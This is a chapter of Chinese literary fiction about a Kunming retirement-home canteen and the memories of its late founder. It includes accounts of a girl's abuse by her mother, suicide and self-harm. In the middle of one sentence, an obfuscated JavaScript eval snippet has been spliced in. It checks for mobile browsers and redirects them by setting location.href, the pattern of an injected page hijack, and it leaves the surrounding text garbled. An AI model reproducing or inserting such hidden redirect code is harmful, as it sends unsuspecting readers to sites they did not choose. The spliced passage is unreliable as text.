康养院创办几年后,小菜园创办。最初,小菜园是一间素餐厅。因为梅蓝从三十多岁开始就常年吃素。后来,有一次她因痛风住院。病房里三个病友陆续康复了,只有她迟迟是不好。医生认真询问了一下,发现只有她吃素,建议慢慢恢复荤食。从牛奶开始,到鸡蛋,再到高原的牛羊肉,慢慢地,小菜园也变成了一家荤素都有的自助餐厅,荤素之间有妥善的间隔。 小菜园餐厅,没有精致的摆盘,也没有好看的餐具,主打一个实在,不需要向任何人炫耀和报备的那种实在。主要的食客是返滇养老的知青们,大家来自五湖四海,众口难调。小菜园只能尽量调试,按照老年人的身体健康需求做调配。有些菜品是老人家提供的。比如有一道菜,做法很简单:青椒、茄子、生抽,加一点点油,拌一下,蒸20分钟就好了。这么一说,感觉这菜很糊弄,但尝一口,真的还挺好吃。这是一个老食客告诉后厨的。她说,过去他妈不愿意做饭就做这个。她现在一个人生活,偶尔懒得做饭,也做这个。 另一套,常桉只在极少数的场合下,对感觉亲切的人娓娓道来。 促使梅蓝开始思考回云南养老的契机,是一盘饺子,很家常的饺子。 梅蓝在离开云南多年后,回来过一趟。那时,她三十多岁,找到了一家北方人开的饺子店。没想到,前些年她五十多岁时又一次回云南,还能吃到同一家的饺子。这家店开了将近二十年。早些年,夫妻俩养孩子照顾老人,兢兢业业,一直分不出手开分店。这几年,孩子上了大学,日子轻快了,一家人陪孩子到昆明,在昆明开了分店。老板在昆明坐镇,味道十分地道。 很普通的饺子,胜在大,非常大。老婆是山东人,不太会包饺子,但是自动会包饺子。这听起来有点矛盾,但山东人确实有一些自带的包饺子基因。老婆包的饺子,一点儿也不好看,只是特别大,看起来很实在。老公觉得大饺子挺好,在此基础上进行改良。他家的饺子一个比别家的两三个还大,馅儿大皮薄,口味也被老公改良得很好。因为个大,从一开始,店里就允许不同的馅儿混着卖,来客一次能吃到好几种口味。 饺子好吃,店里氛围也好,从没再店里见过什么红过脸的事,客人也大多数是熟客。店也慢慢越开越久。 饺子好吃,或许是一个借口吧。梅姐那时想换个地方生活,一时之间没有主意,恰好碰上了一个有一家开了二十多年家常饺子店的地方,索性回来,安度晚年。 又不能只吃饺子。梅蓝索性又开了冬日可爱小饭桌,这样可以一个人吃得简单又丰盛,一个人吃腻了,还能和很多人一起,吃顿踏踏实实的实在饭。 5. 第三课(下): 梅蓝 好好吃饭老师 “你们会不会觉得奇怪,因为一盘饺子,就做一个搬到一座城市的决定?”常桉问。 其实会的,二更第一次听这个故事,确实感到了诧异。 “我是经历过一次失败的婚姻之后,才来到昆明的。让我决心离婚的事,也和吃饭有关。 我和前夫,是年龄到了自然而然结婚的。我们并没有太多的感情,性格并不合适,甚至连最基本的吃饭也吃不到一起去。前几年还能凑合,后来,越来越不愿意凑合。他生气,会直接掀掉我做的火锅。我对他吃什么,也不在意。再后来,饭,我做我的,他做他的。 我想过离婚,但又有些犹豫。最犹豫的那一晚,我做了一桌饭菜,想和他好好聊聊。他回到家,看都不看,直接自己煮一碗面。也就是那再寻常不过的一天,他径自走过去煮自己的一碗面的那一天,我决定离婚。 还不如自己吃。 你们看啊,其实吃饭这件事,很重要。吃得不开心,人就活得不开心。吃得踏实舒服,人就愿意在一个环境里多过几天。 我和梅姐一样,也是北方人。我小时候,我奶奶总是在厨房里烧火,让我们先吃。我长大后,以为是男尊女卑,但后来,我发现不是那样,至少不完全是那样。她就是喜欢自己在土灶前烧火,用干燥的玉米棒和玉米叶子,把整个土灶台和周围烧得通红。她静静地呆在温暖的地方,离开不喜欢的人们,或许也包括我爷爷。在土灶之前,她有一点点安静的自由。我长大后,后知后觉地理解了火光里,那张脸,想走不能走的无奈,得不到自由的向往。我能理解她,也是自己开始做饭了,和喜欢、不喜欢的人吃饭做饭,才有的。 我小的时候,和兄弟姐妹一起吃饭,我总是吃不到最想吃的东西。后来上学,住校,很多人一起吃,大家条件都差不多,吃得也都差不多。我活了几十年,都觉得吃饭是无趣的,有时候,因为不喜欢会不吃,或者感到饥饿了才吃。后来结婚,丈夫根本对我做的食物不喜欢,不给任何反应,我也没觉得有多难过。 直到来到小饭桌,和许多人一起吃饭,吃得简单、踏实,我才第一次感受到,吃饭变成了一个全新的事情,它开始变得好玩起来了。 这是我五十六岁才意识到的事,但也并不晚。 我做了康养院的执行院长后,每天接触老人。我发现人到晚年不需要工作之后,食物就成了更受关注的焦点。老人们自己种菜,自己琢磨菜谱,和厨房有商有量的。很家常的食物,他们也吃得很沉浸,很认真。年纪大了,人的饮食障碍变多,嗅觉和味觉会衰退,会有吞咽困难,所以吃到好吃的东西,他们也会更加珍惜,更加开心。 你看,吃饭这件事,不同的年龄段的人们,都要学习。 人刚刚到这个世界的时候,只吃过母亲的奶水。你什么都不认识,一切都是新的。那大概是人最善待食物的时候吧。后来长大,开始任性,开始敷衍。再到老了,对食物,又会渐渐回到本真的状态,每一口都是新的,认真吃,好好吃。 我想,梅姐大概也经历了这样一个过程,所以才会在年老之后,因为吃到一盘踏实的饺子,做了回到云南的选择,还开了一家很实在的餐馆。 梅姐走之前,觉察到了自己要离开。一个一日三餐好好吃饭的人,怎么会不知道身体的感受呢?她和身体说话最细致了。身体一定告诉她了。”常桉的回忆,走到了这个略显沉重的话题。“但她自己很积极,离开的时候,她跟我们说,想象我像公园里吃饱了的鸭子,吃饱之后一摇一摆地走掉就好了。” 眼见客人来得更多,常桉不再多陪二更和姜籽。告别前,她叮嘱两位客人。“你们不必拘谨,梅姐其实是一个很可爱的人。” “有次,我们在大街上走,看见一个老头儿在前面骑车,忽然停下来,找了一个僻静的树荫处,崛起屁股,很舒服地放了屁。我们隔着挺远,闻不到,但听到了。按理说,这有些尴尬的。但她很快就说,你看这个屁跟了他,真是享了福了。因为它被好好地对待,在一个舒服的时机和地点放出来了。她说,一个屁也是正常的身体需求,应该这样啊。我当时笑得更大声了。但她,说得对,有道理。 她就是这样的人,是一个活得很明白,也很乐观的人。生老病死,人之常情。无论如何,都要好好吃饭。 你们今天来这里,也要好好吃饭。” 03 酸木瓜美式配辣山楂 二更和姜籽选了室外的餐区,打算坐在一只鸡油黄颜色的大鸡枞形状的遮阳伞下。桌上都摆了盆栽,多是虎刺梅、长寿花这类不怕暴晒又爱爆花的植物,生命力顽强,花色喜庆,但花朵都小小的,并不抢风头。 食客们需要先到小白楼挂着巨大鹿角蕨的立柱旁,领取一套不锈钢餐盘。它看起来不好看,但很方便人们控制不同食物的食量,掌握一餐的营养分类,是适合一个人吃饭的好工具。取餐盒的地方,还有老式的长方形铝饭盒,一些念旧的老人家会选择它们。 端着餐盘,先到素食区。这里有很多云南本土常吃的青菜,刺五加、芝麻菜、折耳根、芭蕉花、石榴花。土豆是最常见的主食,被做成了多种菜色,除了常规的烤洋芋,还有茴香土豆泥、花椒叶土豆片、韭菜花土豆丝。还有特色小吃,如绿呼呼的懒豆腐、菌菇汤;又特色水果,如芒果、芭乐、山楂拌香辣沾水、百香果拌西瓜苹果。酱料区包含常规的酱料,如芥末、麻酱、东北麻酱,也有特制酱料,如版纳的番茄酱、百香果酱,无糖酸奶加柠檬、胡椒调制成的酸咸沙拉酱,热量少一些,专供不能吃糖的人群。甜品区,有折耳根酸奶、木姜子酸奶、酸角酸奶等特制酸奶,以及一些滇式甜品,如玫瑰烤乳扇、老式的茴饼、荞饼、奶蛋饼、咸奶饼、枣泥蛋糕或是土鸡蛋糕。荤食区,有地胶花炖肉、竹叶菜做腊肉、五加皮炖猪蹄儿、香椿炒蛋、茉莉花炒蛋等。 各类菜品里,出于对梅姐的纪念,都夹杂了一些小众的选择。梅姐虽然厨艺不好,也有一些自己独特的吃法。寿喜锅料包卤鸡蛋鹌鹑蛋,糟粕醋汤底炖肉,树番茄汤底炖鱼,乍看不怎么搭,尝起来还不错。甜品区,备了茴香奶酪块、柠檬咖啡味的蛋糕、山楂豆沙包。饮品区备了酸木瓜美式、滇橄榄美式,这都是梅姐喜欢的刁钻口味,被戏称为“酸甜苦辣都有的一份下午茶”。此外,她还喜欢用茴饼沾沾淡奶油,或是用奶蛋饼中间夹点香蕉片、菠萝片、草莓片、山楂片。到了一定年纪,美味不一定是复杂的。这些特殊的口味,或是有些老派的口味,来客若有勇气,都可以任意尝试。 二更在大鸡枞下喝了一口酸木瓜美式,就着一颗裹满干蘸水的山楂,嘴巴小心翼翼地嚼啊嚼。姜籽看她,自己也抿着嘴唇,彷佛在感一起受酸味。她已经计算好了二更此刻口腔和肠胃所产生的阴影面积。“还可以”,二更带着苦笑说,“这一口,酸甜苦辣几乎都有了。” “你果然不是一般人”,姜籽说,“你上辈子,多少和西南有点缘分。或许,还是酸不溜丢的孽缘。” 两人各自选了些菜品,打算细细品尝。二更第一次如此集中地看到这么多云南特色的食材,铁了心,做个仓鼠,不顾吃相地往嘴里塞。这才刚啃上一块沾满香辣干蘸水的芭乐,第二块了就夹在筷子里,悬在空中,准备进仓了。姜籽对这些食材并不陌生,边吃边从容地张望,观察着四周的食客们。有个看起来有点拘谨的女孩一直在找座位。姜籽用眼神询问二更,两人会意后,姜籽起身,打算请女孩到同一桌来。 比人先走过来的,是女孩身上的气息香料气息,比木姜子更柔和清新,又很有辨别度。 林繁缕,文山人,云南农业大学大三在读生。香气来自她手里拎着的两个口袋。 “不想空手来,”林繁缕有些羞涩地把三杯饮品从小口袋里拎出来。她新做了木姜子苹果茉莉椰子水、普洱橄榄汁、胚芽酸角酸奶,打算用餐时送给有缘的食客。一个内向的人,真来了,又有点害怕直接送,何况还是试验阶段的饮料。 这个桌子上,恰好三个人。姜籽很喜欢女孩身上的植物味道,不打算客气,直接拿起了那杯熟普洱橄榄汁啜了一口。普洱入口,先是清香,而后有橄榄汁的轻微涩感,但被普洱温和的前调中和了,再之后渐渐有橄榄的天然回甘。“很神奇的味道,我喜欢,但可能有一些人会觉得算不上好喝”,姜籽很诚实。 林繁缕似乎受到了鼓励,“这是梅老师喜欢的味道,但她还会加一点点芝士奶盖。她口味嘛,确实有点奇怪,总是想要想换换口味,试试新的。我怕今天路上奶盖会散,就没有加。剩下两个也是她喜欢的口味。要不要试试看?”她把饮品袋往二更这里递了递。 二更选了木姜子茉莉花茶,尝了一口,发出了一声波浪般的轻嘘声。“是好喝的,没有想过是这个味道。酸,甜,咸,似乎都有了。” 林繁缕脸上悬着的紧张表情终于从容了。她也啜了一口那杯看起来最安全的胚芽酸角酸奶,之后重重地哈了口气,像是解了渴,之后把杯子稳稳地放在桌上,人也安定下来。 “我现在在做一家饮品店。我能做这个,还要感谢梅老师。她......常来我店里......做实验。把各种饮品胡乱......哦不,是试着搭配。有时候会很奇妙,有时候,她会尝一口,偷偷倒掉。”林繁缕说,“我会在后面偷偷看,偷偷笑。” 女孩和梅蓝认识?二更又一次认真地打量了一下这个年轻的女孩。她的眼睛和嘴巴都小小的,人十分清秀,像最新鲜的小樱桃点缀在鲜奶蛋糕上。年纪差这么多,是怎么认识的呢? 女孩伸出手腕,姜籽的目光落到了她手腕上带着的木质手串上,二更则留意到女孩手腕上那一道像被猫抓过的细小伤痕。手串是苦楝子做的。苦楝的种子有些像迷你版本的杨桃,带着山峰般的棱角,只不过是褐色的。这副手串的棱角,早已被磨得很温和,串种子的绳子是透明的串珠绳,很新。这是一副被保养得很好的旧手串,但被女孩重新串过。大概因为女孩手腕细,所以拆下来一颗,单独坠在手串之外,像一颗编外却永远不会落单的星星。 林繁缕把手串取下来,握在手心,一颗一颗地转动。转完一圈,她开始回忆自己和梅蓝的初见。 “18岁那年”,林繁缕回忆道,“我从家里跑出来。”林繁缕停顿了一下,想要加个善意的解释,比如没考好,和家里人吵了架,找同学借了点钱,跑了出来。但她发现对面两个人什么夸张的反应也没有,如常喝着她调制的魔法汁。姜籽把普洱橄榄茶喝完了,啜出了一点点杯底之声,像是饿肚子之后咕咕叫的声响。三个人都忍不住笑了起来。她们用桂圆核一般的黑眼睛瞅着她,似乎在等待她继续说下去,但没有任何让她不舒服的过分的窥探欲。 林繁缕在内心苦笑了一下,原来只有她自己在一厢情愿地紧张。她决定放松下来,慢慢说。 “总之,想躲一段时间再回家。那时,比现在晚三、四个月吧,昆明全城都开着蓝花楹,特别美。我一个人逃出来,逃到这样的地方,会有一种幻觉,我真的跑出来了,跑到了另一个世界。虽然那时候,我连下一口饭在哪里都不知道。 街上人挺多。我边走,边看,很多女孩穿得特别美,在拍照。梅老师当时就在一个蓝花楹手工摊位上。她很显眼,染着浆果色的头发,卷发,精神很好,人也好看。那个摊位是一个自闭症儿童手工作品的摊位,一部分是孩子的画,或是用孩子的画做成的帆布包。还有一部分是附近师范学院的美术生用蓝花楹果荚做的钥匙挂,都正在义卖。 我过去问,可以不可以帮你们看摊位,赚一点钱。我很担心,但实在是,因为饿。我.......饿,不需要证明,因为肚子已经叫起来了。” 恰好,一片蓝花楹花朵飘落。 梅蓝穿越落花,看着这个姑娘,你来,她招手。 “我当时可能饿出了幻觉,只觉得眼前一片绿,像个森林,我往前走,走进了一个森林里的亮着灯的温暖的树屋,一颗很大很大的树,树根底部有一个屋子,里面有一个温暖的婆婆在等着我,等我回家。我的眼睛一下子就湿润了。 她站起来,揽着我坐下。她拿出一个很好看的口袋,很精致。我以为她会翻钱,拿出几张纸笔给我,让我买吃的。那个竹节包真的很好看,像是里面会放着精致钱包的样子。 但是她找出来几个花生糖,拿给我。‘先吃,垫一下,待会儿,跟我们一起起吃饭。’ 她把那个很好看的包给我,让我抱着,在旁边坐。包里面有很多零食,苹果干、芝麻饼、红薯干、花生糖。她对我说,“一边坐,一边吃。”我胆小,小时候去别人家里做客,也是拿了糖,一直拿着不敢吃的那种人。但那天,我像一个小老鼠一样,一直吃,一直吃。糖纸不敢随便扔,攥在手里,就要拿不住了。 梅老师在旁边,一边和学生们做简单的手工,一边偶尔转回头,看看我,朝我点头笑一下。但什么也不说。后来她见我缓过来了,就说请我帮忙。用画好画、晾干了的果荚,做一个果荚风铃。 我手笨,也不会做什么手工。但那个手工桌可能是有魔法吧,我想一直停留。 那天,我们一起做了手工,还一起做了晚饭。为了感谢志愿者,那个活动的主办方,也就是一家自闭症儿童关爱机构准备了很丰富的晚餐。我现在还记得,有折耳根炒午餐肉、石榴花炒腊肉,还有一个山楂杏干排骨。我从来没有想过杏干可以炖排骨,真的很好吃,有一种好闻的果香。 整整一天都很梦幻。那天晚上,我就坐高铁回家了。小姑打电话给我,把我劝回家。 再后来,高考,我考回了昆明。我一直想,怎么再去见见那个梅老师。我只知道,她叫梅老师。 我很幸运,我想到去搜当年蓝花楹社区活动的新闻报道,果然,我从报道里找到了那家自闭症儿童关爱机构。我直接到那家机构去拜访,想问他们有没有当时参加活动的志愿者名单,我很想感谢其中的一个人,但只知道大家都叫她梅老师。我这样跑过去,唐突地找上门,原本是一件很冒失的事情。我很怕他们不相信我,直接拒绝我。但很神奇的是,走廊里恰好有当年活动的照片,而我,竟然很神奇地出现在那张照片里,正在和梅老师一起串蓝花楹果荚风铃。 我望着那张照片出神,梅老师,还是那样亲切。工作人员帮我找到了那份名单。更神奇的事,名单上最后一个人,竟然是我自己。据说是当时梅老师让加上的,说现场有个小姑娘也一直在帮忙。 这下,我根本不需要任何自证了,也顺利地得到了梅老师的联系方式。 我那时才知道,她是一家餐厅的老板。是做餐饮生意的人呀,怪不得,见不得孩子饿。 找到梅老师那天,我心情很复杂。因为那时我爸刚去世不久。” “但,老实说,”林繁缕又停顿了一下,手心握了握手串,“其实我等这一天也等了很久,我自由了。” 林繁缕自己拿起酸角酸奶吸了一口,继续说下去。 “我那天有一种如释重负的感觉。我的痛苦,曾经就是父亲和母亲带给我的。但同时,我感受到一种巨大的流动的东西,抽离开了我的身体。我精神上空空的,肚子里也空荡荡。 当我按照地址,找到小菜园的时候,已经下午5点了。我的肚子,又开始姑姑叫了。” 三年前,林繁缕,就站在这片花园里。 秋冬季节,月季正值盛花期,开得没心没肺,花园呈现出最早它被期许盛放的样子。 比人的脸还大,过去,林繁缕的奶奶经常这样对着家里的地栽月季说,像说一个长得有点肥胖的胖小子。 林家以前家中的院子里,也有好些月季,是奶奶栽的。很常见的品种,淡紫色的叫做蓝色风暴,艳红色的叫做绯扇。它俩似乎知道自己长得美,很爱开花,枝干也长得茁壮,用鲜亮的红与透亮的蓝,回应高原强烈的太阳。奶奶走后,家里的院子就寂寞了。林繁缕第一次觉察到,植物也会认人,遇到不开心的人家,它们也许,会自杀。她试过,从花市带回一盆蓝色风暴,养在过去那株的位置上,但新买的月季没几天就会生虫,最后疾病缠身,打药也没用了,感觉像是决绝地不喜欢这个院子。 她也不喜欢。 奶奶去世的那年,父亲在外面有了情人。他不避讳,邻里尽知。对方是林繁缕小学的女老师,很快就怀了孕。母亲在一年前就已经发觉。那时,她一边要照顾病中的奶奶,一边觉察出丈夫的外遇。逐渐名存实亡的家,也是她在全力打理。在奶奶去世后,母亲终于心理失常。 最先发现的人,是林繁缕--因为母亲对她开始有了一种奇特的敌意。最初是辱骂,无端辱骂她在学校不正经,不好好学习。接下来是打骂,但凡她回家的时间稍微晚一点,母亲就会随便拿起果盘里的某一种水果砸向她,骂一个女孩,“在外面乱搞”。 从那时候开始,林繁缕对于每一种水果的重量、硬度和气味,了如指掌。香蕉要看运气,如果是梗砸到身上就会痛,但带弧度的部分就没什么太大的问题,最好是放了几天的香蕉,已经软了,砸过来也并不疼。小米蕉或者苹果蕉,个头偏小,比较好躲。苹果比较重,一般砸不到她身上,它们自己会在抛出来的抛物线中低头。 最疼的是猕猴桃,她家常买的那个品种,要放很多天才能熟。砸过来的时候,它们通常还很硬,表皮凹凸,还带一些绒毛,砸到身上很有痛感,而且是被重物击中、被绒毛刺痛的复合痛感。有时候,猕猴桃甚至可以像网球一样弹起来,再蹦到墙上,或者倒霉一点,蹦到她身上。有一次,猕猴桃恰好砸到她脸上,她收获了被砂纸磨脸一般的疼痛。 在所有让母亲觉得会好一些的事情中,折磨林繁缕是最有效的。因为她一般不反抗。她还是个孩子,像个小猫,可以轻而易举地杀死。也因为,她身上有那个男人的血脉,有足够的理由去恨。 林父在奶奶去世后,就不经常回家了。而那个年轻、长得好看,甚至有几份像她父亲的女儿,每天都会回家,还那么乖。欺负这只小猫,成了一种戒不掉的毒药,让她产生快感。就像她喜欢大半夜的点外卖,风雨夜里点一份外卖,看到外卖员浑身是雨送上餐来。她会很礼貌地接过来,但林繁缕知道,下一秒,她脸上那种笑,是折磨她之后会出现的笑,带着病态的快感。 在一切的精神扭曲和混乱之中,她骂过林繁缕很多话。婊子。垃圾。贱人。 林繁缕想了很久,错是父亲和别的女人犯的,为何自己要被骂,她想知道一个答案,想着想着,人就不好了。 她开始怕散步,害怕人多的地方。最初是不想去,后来是不敢去。好像突然不知道如何走路了。与此同时,睡眠开始变得不好,经常反复多次经历重复的梦魇。她梦见母亲手里的东西拿着不同的东西,朝她砸过来。她想跑,但梦里根本使不上劲儿,东西砸到地上那一刻,梦就醒了。她浑身裹着一身热汗,等热汗变凉,她才敢再睡。于是一连几个月,感冒总是好不了。她甚至拿过小刀,用颤抖着手,在手腕上划过一个小口子,但最终,因为害怕,颤抖的手停住了。 如果不是母亲在某一日卧轨,自绝于世,她被小姑接过去温柔以待,她的人生或许会滑向无法想象的深渊。 她跑到了昆明的那天,距离这一切发生已有一个月了。但那是人生之中必须要冲出去的一天,她感受到了迟到的压抑与释放,一时不知如何是好,只是想逃,逃到一个远离一切记忆的地方。 但这天,也是她一生之中极度幸运的一天。她看到了一场绚烂的蓝紫色的烟火,动手在上一季的蓝花楹果荚上,画出了一场纷飞的花瓣雨。有一个人温柔地陪着她,好好吃了一顿饭,猕猴桃是软的,香蕉上烤出了一层薄薄翠翠的焦糖,山楂切开滚上了一层单山香辣蘸水。人间一切的酸,都变得可以接受了。这并不是多么伟大的事,但在那个时间点,却像是神灵眷顾了她,给了她一颗,从小到大都没有见过的、也没有人送过色彩瑰丽的弹珠,可以折射出彩虹。她把它小心翼翼地藏在手掌心,放到口袋里。从那之后,她努力去好好生活,好好吃饭。 直到,又一年,父亲因酒驾坠河的死讯传来。短短几年,她的人生发生了巨大的变化,年轻的心灵承载了所有,但没有好好消化。她总是人群之中,最木讷的那一个人,习惯了沉默寡言。在学校接到父亲死讯电话的那一刻,她同样的木讷的。家没了。以为会得到解放,以为另一个靴子会掉落,但真落下来,无家可归的感受,慢慢袭来。哪怕在相当长的时间里,她早就没有一个“家”了。 但她隐隐约约在木讷之中,有一份冲动。她想见见一年前,她见过的那个陪她好好吃了一顿饭的人。她找到了。 女孩在一片月季花海里,等她来。月季园里风很大,蓝是瓦蓝瓦蓝的,云彩像是被风吹净了所有尘埃。月季坚韧,没有一朵花被吹落。 她看见,梅蓝从月季花后面走了过来。 有人说,月季园里有个女孩要找她时,梅蓝并不惊讶。自从一日三餐的帖子火了起来,尽管没有透露过具体的身份,但还是有人通过餐盘和菜品找到了这里。年轻粉丝们很友善,会像探访好友一样,偶尔来这里吃饭,遇见了梅蓝,还要邀请一起拍照。她总是拒绝,“拍饭吧,好好吃饭,饭比我好看!” 那个女孩,内敛、不说话、看起来心事重重却很漂亮的女孩,一双杏眼圆圆的像一对玻璃珠子的小女孩,又见面了。一年前的那天,要不是她家人打电话,她一再确认女孩买好了票,坐上了回家的车,她甚至会考虑让孩子来这里住一晚。她的样子,实在是像一只被雨水打湿了的小猫咪,叫人见一眼就心疼。 重逢这天,林繁缕又尝到了一些新鲜的菜。从那之后,尽管林繁缕上学的地方在昆明的南郊,而梅蓝的餐厅在昆明的北郊,她还是会经常花大半天的交通时间,来这里和梅姐一起吃一顿午饭或是晚饭。梅蓝总是会问她,最近吃了什么?早饭有没有按时吃?油腻的、麻辣的,有没有尽量少吃?水果呢,冬天了,不能贪凉,有没有尽量放温了或者热水里烫一烫再吃? 林繁缕有时候认真答,有时候只是腼腆地笑。她陪梅姐吃饭,让她偶尔有和人吃饭的乐趣。梅姐也陪她吃饭,让林繁缕渐渐地不再对水果,尤其是猕猴桃,有什么过分的恐惧了。 几年下来,如果这个世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294808|198549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上有一个最了解梅蓝喜欢吃什么人,那恐怕除了常桉,就是林繁缕了。 “比如紫甘蓝,她当水果吃。鲜猪肝,她说甜甜的。再奇怪的味道,其实都可以拿给她试,只要没有毒,对身体没有伤害,她都愿意试试。 不知道吃什么,她就看看天空。看天上的云彩像什么。一只虾?猪耳朵?口水鸡?冰儿草?西蓝花?豌豆尖?虽然谁都不知道她是怎么看出来的,但她会找到答案。 她很敏感,看到一样蔬菜和水果,就能感觉出来,这样食物和其他食物搭起来,会不会好吃。好像天赋很好的厨师,看到一种食物,就能琢磨出它和哪些食物放在一起,能出什么样的味道,炒出来的和煮出来的,又会有如何的不同。她能看出来谁和谁会吵架,谁和谁能抱在一起欢喜碰撞出好的味道。 当然,我知道,她做饭很难吃。她偏偏是天赋好,却不会做饭的那一个。所以,有些搭配只对她个人适用。比如,甘梅粉拌折耳根,黑咖配山楂,百香果拌西瓜。 她偏爱酸,很酸的山楂也可以直接吃。她说,酸,就快接近甜了,但又不是甜。不会辣那样突出,也不会像苦那样需要忍。酸有一点点调皮,差点就超越人的承受范围了,又不让人受苦。 我知道她喜欢吃点特别的,所以来吃饭时,会带一些好玩的食物过来。不会带太普通的。因为这里爷爷奶奶们都自己种菜。我就想办法带一些特产。今天我来带了一些,等一会儿,厨房歇过来,我就送去厨房。” 怪不得,林繁缕抱着的另一只稍大些的布袋满满当当,一打开,五颜六色。 “这种绿色的小果子,是小的青柠檬?”二更问。 “这是我们那边人喜欢吃的苦果,也叫苦子果。它可以其他蔬菜一起舂了做凉拌菜,也可以和肉一起煮汤,炖猪脚。也有人喜欢用它炒肉,炒牛肉。云南人嘛,吃牛肉喜欢加特别的,有人喜欢薄荷,我们那边更喜欢加苦子果。它吃起来有一点点苦味,能清热解毒。喏,这个,小南瓜一样的,叫大苦果。它比苦瓜还苦,但吃完之后,嘴巴里带一点点甜。它可以烤着吃,像虎皮青椒的味道,不过外地人可能吃不惯。”林繁缕拿起一颗颗果子,如数家珍地介绍着。 口袋里,还有番石榴、青芒果,蘸水拌一下,就是酸辣口味的一道小菜。有黄色的小米辣,辣度更高一些。还有苤菜,像葱蒜一样,带一点辛香味。此外,还有沙姜、南姜、版纳的香茅草、丘北的螺丝椒、文山的鲜八角的野胡椒。 二更扒着这口奇特的口袋,看不够似的。林繁缕见二更的手十分清瘦,没有肉,血管外露,稍微用点力,血管就更加明显。她喝了许多酸奶,并不饿,一直没碰自己的餐盘,就用干净的筷子把盘里的一块鸡腿夹了过来。 “你吃!要胖一点,手腕没有窝窝,才比较好看。梅老师以前也这么说过我。” 三人慢悠悠地吃完,临走前,得知姜籽和二更有意将梅蓝的网络小画做成一本纸质的绘本,林繁缕很是开心。她像突然想起什么似的,像一只小狗抖落雨水般抖了抖自己的身子。她想看看自己兜里有没有带什么合适的东西,但似乎都不适合做礼物。只有那一串手串,勉强合适。 “如果你们不介意它是旧的,就收了吧。这是梅老师给我的。它陪我走了一段路,应该也能保佑你们,把和她有关的事继续做完。” 推脱不掉,二更接过的手串,目送林繁缕走远,这场宴会真的要结束了。 来客们陆续离开。常桉在出口处送行。所有来客都可以带回家一份时蔬包,或者选择带走一本小册子。 小册子是一本小菜园专门制作的实用快手菜谱,适合上班族或者不太擅长做饭的年轻人,简单上手,荤素搭配,营养均衡。所有那些关于中国人烹饪玄学的“若干”、“适量”、“少许”,都精细地变成了“一勺”,“一瓶盖”这样适合厨房小白的叙述。 时蔬包不大,一两份小菜园菜地的新鲜蔬菜,外加葱姜蒜等调味料。 二更选了小册子,姜籽拿了一包菜。二更想起,西南一些少数民族的男女相亲时,女方会用小葱和蒜传情达意。小葱代表一清二白,可以继续交往,蒜则代表,蒜了吧。她扒拉了一下姜籽那包菜,里面有一些红苋菜、玉米笋,还有三颗大蒜头。 蒜了吧。二更心想,姜籽相亲没有成功。 “小葱,代表蓬勃的生命力。我很喜欢小葱,我觉得那句‘小荷才露尖尖角’,应该用来形容小葱。挺拔,绿油油的。人就应该这样活!带走葱的人,也要这样,开开心心地长。”常桉说。 “那蒜头呢?”二更问。 “就是要心宽体胖啊,你看蒜头,长得多瓷实。人生事,十有八九,难如愿。不太重要的人和事,能算了就算了,不要放在心上。” 原来如此。二更笑,转着手上新得的珠串。它坚硬,但不刺手。不知是林繁缕,还是梅蓝,早已把它盘了无数次。或许,她们的日子也是在这种日复一日好好吃饭的耐心中,踏实地好起来的。 回程路上,姜籽接上之前送去附近宠物店洗澡的小黄姜。二更有些累了,索性在兜座上抱着小黄姜睡去。 眼前一切渐渐模糊了,一阵轻雾后,又渐渐明晰起来。周围一切似在皎洁的月光下,看得见,但看不清。耳边隐隐有人在轻声低语。 -- 那年,我17岁,从北京到云南临沧的农场。我们那代人,是怀着“知识青年到农村去,接受贫下中农再教育”的壮志来到云南的。四天四夜,一路奔驰,途经许多个省份才到昆明,再坐上军用卡车,下分到地州各地。 山岭见有走不完的盘山路,我吐了一路。下车时,又吹了一身尘土。 因为环境艰苦又很潮湿,我月经不调,年纪轻轻,就积攒下了妇科病。那时,我在菜园里养猪,爱上了一个农场场部宣传股的放映员。他总是要在坝区和山区跑,经常是连续半个月都见不上一面。再后来,也没下文了。 月经很久没来,我以为自己怀孕了。不知道肚子大起来怎么办,一心想死。现在看起来,多小一件事,但当时,就是天大的事。 我找一条河跳下去,一了百了。走啊走,走到一条河的河边。河边有一个老人家,一直坐着。 我当时想,等一会,等她走了,我再跳。我那时候并不懂河深河浅,回想起来,那条河或许很浅,根本死不了人,跳下去顶多弄湿衣服。我坐在她旁边,隔着不远,等她走。但不知道为什么,那个老人家一直没有走。后来,她看我一直不动,大概也觉察到我哭了很久,就走过来,也不说话,把手上的一个手串给了我。 我一开始不敢要。要了,也戴不着。我只是反复推脱。 她就一直伸着手,递过来,示意我接。她说了几句话,本地话,我听不懂。我就一直哭,不知道该干什么。她拉起来我的手,把手串套在我的手腕上,又从兜里掏出来一个熟鸡蛋,塞在我的手里。然后拉我起来,掰着我转个身,甩着手,让我回去。 我那时可能是哭懵了,一下子忘记了来这里是干什么的。我戴上了这个手串,就好像接受了她的命令似的。她让我走,我就一路叫不听使唤地往回走,一边哭,一边往回走。等我走回到农场,才发觉,我又回来了。 当我带着苦楝手串失神落魄回到农场时,才被人看见。那个大姐见我裤子红了,问我怎么这么粗心,来事儿了还往外跑。 不用死了,我心想,我回到了人间。 说起来,也非常奇特,我在那之后,忽然发现,我会做前滚翻了。 真荒诞啊。我记得,上学时候要练习前滚翻时,我总是直接一歪,想要蒙混过关。但那天不知道为什么,我忽然觉得,我可以了。重心前移,两腿蹬直离地,屈膝、低头、含胸、抱膝,我做到了。我在干草垛上翻了几个滚。 原来人会突然学会一些东西。老了之后回想这见事,我总是觉得很好笑。但我忽然变得会活了。 那天开始,我好好吃饭,好好睡觉。我不知道为什么会发生,好像有一双手推着我向前,向前继续活着。 